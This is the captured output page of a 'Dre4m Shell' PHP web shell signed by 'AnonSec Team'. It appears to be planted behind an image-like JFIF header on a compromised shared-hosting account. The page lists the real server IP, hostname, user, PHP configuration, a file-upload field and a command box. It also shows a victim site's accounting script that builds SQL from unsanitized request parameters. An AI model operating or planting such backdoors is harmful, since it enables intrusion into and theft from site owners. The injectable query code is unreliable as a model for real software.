ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/FPDF/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/FPDF/cloture_moisbbbbbbbbbbbbbbbbb.php
<?php
include_once('../includes/header.php');

//////////////////////////////////////////

if(isset($_GET['stat_doc'])) 
{ $stat_doc= $_GET['stat_doc']; }

if ($stat_doc == '1'){ $stat_doc_affiche = 'statut : ' . $comm_1; }
if ($stat_doc == '2'){ $stat_doc_affiche = 'statut : ' . $comm_2; }

if(isset($_GET['mois_doc'])) 
{ $mois_doc= $_GET['mois_doc']; }

if(isset($_GET['an_doc'])) 
{ $an_doc= $_GET['an_doc']; }

// mois / an
if ((empty($jj_doc)) AND (!empty($mois_doc))){ 
$tittt = " pour le mois : " . $mois_affiche . ' ' . $an_doc;
$req = ''. $an_doc . '-' . $mois_doc ;
$req_date = "date_status LIKE '%$req%' AND status ='$stat_doc'";
}
 
// an
if (empty($mois_doc)){ 
$tittt = " pour l'ann&eacute;e : " . $an_doc;
$req = ''. $an_doc ;
$req_date = "date_status LIKE '%$req%' AND status ='$stat_doc'";
}
 
if ((empty($mois_doc)) AND (empty($an_doc))) {
  echo '<script>';
  echo 'window.location = "./index.php"';
  echo '</script>';
}
 
$total_ca = 0;
$total_tva1 = 0;
$total_tva2 = 0;
$total_tva3 = 0;
$total_ecop = 0;

$total_cb = 0;
$total_chq = 0;
$total_vir = 0;
$total_pay = 0;
 
/*

     $requete = $bdd->query("SELECT o.*,  a.firstname, a.lastname, os.status, os.date_status, o.payment AS paym FROM orders o 
        INNER JOIN address a
        ON a.id = o.invoice_address
        RIGHT JOIN order_status os
        ON os.id_order = o.id
        WHERE os.date_status = (SELECT MAX(date_status) FROM order_status
                                WHERE $req_date AND id_order = o.id)
        ORDER BY id DESC "); 
      if ($row = $requete->fetch()) {
        do {
       $total_ca = $total_ca + $row['total'];
       $total_tva1 = $total_tva1 + $row['tva_1'];
       $total_tva2 = $total_tva2 + $row['tva_2'];
       $total_tva3 = $total_tva3 + $row['tva_3'];
       $total_ecop = $total_ecop + $row['total_ecoprix'];

 
if ($row['paym'] =='cb') { $total_cb = $total_cb + $row['total']; }
if ($row['paym']=='Paypal') { $total_pay = $total_pay + $row['total']; }
if ($row['paym']=='Cheque') { $total_chq = $total_chq + $row['total']; }
if ($row['paym']=='Virement') { $total_vir = $total_vir + $row['total']; }
 
        }while ($row = $requete->fetch());
      } else {
      }
 */












$total_ca_affiche = stripcslashes(number_format($total_ca, 2, ',', ' '))." &euro;"; 
$total_tva1_affiche = stripcslashes(number_format($total_tva1, 2, ',', ' '))." &euro;" ;
$total_tva2_affiche = stripcslashes(number_format($total_tva2, 2, ',', ' '))." &euro;" ;
$total_tva3_affiche = stripcslashes(number_format($total_tva3, 2, ',', ' '))." &euro;"; 
$total_ecop_affiche = stripcslashes(number_format($total_ecop, 2, ',', ' '))." &euro;"; 

$total_cb_affiche = stripcslashes(number_format($total_cb, 2, ',', ' '))." &euro;"; 
$total_chq_affiche = stripcslashes(number_format($total_chq, 2, ',', ' '))." &euro;"; 
$total_vir_affiche = stripcslashes(number_format($total_vir, 2, ',', ' '))." &euro;"; 
$total_pay_affiche = stripcslashes(number_format($total_pay, 2, ',', ' '))." &euro;"; 

/*
	$sql = "SELECT * FROM ".$GLOBALS['db_table']['info']." WHERE id='1'";
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();
    $soc = $result[0]['company'];
    $adresse = $result[0]['address'];
    $town  = $result[0]['town'];
    $codep  = $result[0]['zip_code'];
    $town  = $result[0]['town'];
    $town  = $result[0]['town'];
    $town  = $result[0]['town'];
    $town  = $result[0]['town'];
 */
//////////////////////////////////////////
//////////////////////////////////////////


$date_time_ifox = time() ;  
  define('C', '');
  define('L', '');


//////////////////////////////////////////


 



?>






XXXXXXXXXXXXXXXXX













Anon7 - 2022
AnonSec Team